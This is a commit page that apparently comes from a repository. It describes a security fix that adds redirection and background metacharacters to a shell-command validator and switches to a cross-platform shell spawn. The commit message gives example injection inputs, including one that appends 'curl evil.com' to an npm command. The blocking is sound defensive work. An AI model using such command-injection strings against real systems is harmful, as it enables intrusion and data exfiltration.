Commit a1a1629
fix: block redirection/background metacharacters and use cross-platform shell
Add >, <, and & to SHELL_METACHARACTER_PATTERNS to prevent redirection
(e.g. `npm install foo > /arbitrary/path`) and background execution
(e.g. `npm install foo & curl evil.com`) in validated commands.
Replace hardcoded `spawn("sh", ...)` with `spawn(command, [], { shell: true })`
so Node selects the platform-appropriate shell (cmd.exe on Windows).
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>1 parent 241eb0c commit a1a1629
2 files changed
+8
-4
lines changed| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
| |||
39 | 39 | | |
40 | 40 | | |
41 | 41 | | |
| 42 | + | |
| 43 | + | |
| 44 | + | |
42 | 45 | | |
43 | 46 | | |
44 | 47 | | |
| |||
325 | 328 | | |
326 | 329 | | |
327 | 330 | | |
328 | | - | |
| 331 | + | |
| 332 | + | |
329 | 333 | | |
330 | 334 | | |
331 | 335 | | |
| |||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
| |||
37 | 37 | | |
38 | 38 | | |
39 | 39 | | |
40 | | - | |
41 | | - | |
42 | 40 | | |
43 | 41 | | |
44 | 42 | | |
| |||
49 | 47 | | |
50 | 48 | | |
51 | 49 | | |
52 | | - | |
53 | 50 | | |
54 | 51 | | |
55 | 52 | | |
| |||
66 | 63 | | |
67 | 64 | | |
68 | 65 | | |
| 66 | + | |
| 67 | + | |
| 68 | + | |
69 | 69 | | |
70 | 70 | | |
71 | 71 | | |
| |||
0 commit comments